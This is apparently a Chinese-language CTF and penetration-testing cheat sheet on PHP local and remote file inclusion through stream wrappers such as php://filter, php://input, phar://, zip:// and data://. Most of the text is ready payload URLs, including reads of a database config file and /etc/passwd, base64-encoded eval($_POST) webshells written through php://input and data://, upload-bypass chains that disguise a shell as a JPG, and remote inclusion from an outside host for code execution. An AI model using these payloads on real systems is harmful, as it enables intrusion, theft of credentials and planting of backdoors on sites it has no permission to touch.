包含文件的函数
- require
- include
- require_once
- include_once
- 包含函数一共有4个,主要作用为包含并允许指定文件。
比如include($file),当$file变量可控的情况下,我们就可以包含任意文件,从而达到getshell的目的。
在不同的配置环境下,可以包含不同的文件。因此又分为远程文件包含和本地文件包含。
在allow_url_include = On以及allow_url_fopen = On时,允许远程包含文件,而默认情况下allow_url_include = Off
PHP.ini:
在php5.2以上,allow_url_fopen :on 默认开启,allow_url_include:off 默认关闭
文件包含是否支持%00截断取决于:PHP版本<=5.2 可以使用%00进行截断。
php伪协议
php的伪协议有:
1 | php:// — 访问各个输入/输出流(I/O streams) |
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
常用的伪协议:
1 | php:// — 访问各个输入/输出流(I/O streams) |
php://协议
1 | php://filter |
php://filter用于读取源码,php://input用于执行php代码。
php://filter:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取文件源代码并进行base64编码输出。1
2http://www.inc.com/inc.php?file=php://filter/read=convert.base64-encode/resource=./config/db.php
输出:PD9waHAgDQokY29uPW15c3FsaV9jb25uZWN0KCJsb2NhbGhvc3QiLCJyb290Iiwicm9vdCIsImRiIik7IA0KaWYgKCEkY29uKSANCnsgDQogICAgZGllKCLov57mjqXplJnor686ICIgLiBteXNxbGlfY29ubmVjdF9lcnJvcigpKTsgDQp9IA0K
将base64解码就可以看到db.php文件内容
php://input:访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的
写入一句话1
2
3
4
5http://www.inc.com/inc.php?file=php://input
post数据:
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
file://协议
file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。1
http://www.inc.com/inc.php?file=file:///etc/passwd
phar://协议
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。1
2
3利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php
shell.php->shell.zip->shell.jpg->upload->phar://shell.jpg/shell.php
http://www.inc.com/inc.php?file=phar://shell.jpg/shell.php
zip://协议
zip://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,,类似phar://,使用如下:
利用方式:1
2
3写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php
shell.php->shell.zip->shell.jpg->upload->phar://shell.jpg%23shell.php // %23 == #
http://www.inc.com/inc.php?file=zip://./shell.jpg%23shell.php
bzip2://协议 && zlib://
bzip2://协议 && zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用:1
2
3
4
5
6
7compress.bzip2://file.bz2 //处理的是 '.bz2' 后缀的压缩包
http://www.inc.com/inc.php?file=compress.bzip2://D:/soft/phpStudy/WWW/shell.jpg
http://www.inc.com/inc.php?file=compress.bzip2://./shell.jpg
compress.zlib://file.gz //处理的是 '.gz' 后缀的压缩包
http://www.inc.com/inc.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://www.inc.com/inc.php?file=compress.zlib://./file.jpg
data://协议
data://:需满足allow_url_fopen,allow_url_include同时开启才能使用:1
2
3
4
5http://www.inc.com/inc.php?file=data://text/plain, phpinfo()
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data:text/plain, phpinfo()
http://www.inc.com/inc.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==
http:// && ftp://
http:// && ftp:// 需满足allow_url_fopen,allow_url_include同时开启才能使用,可访问内网主机主机1
2
3?file=[http|https|ftp]://xxx/file.txt[?%23] 远程代码执行
?file=[http|https|ftp]://xxx/file 利用XSS执行任意代码
?file=http://xxx/xss.php?xss=phpcode 远程代码执行
参考:
http://www.freebuf.com/column/148886.html
https://www.jianshu.com/p/0a8339fcc269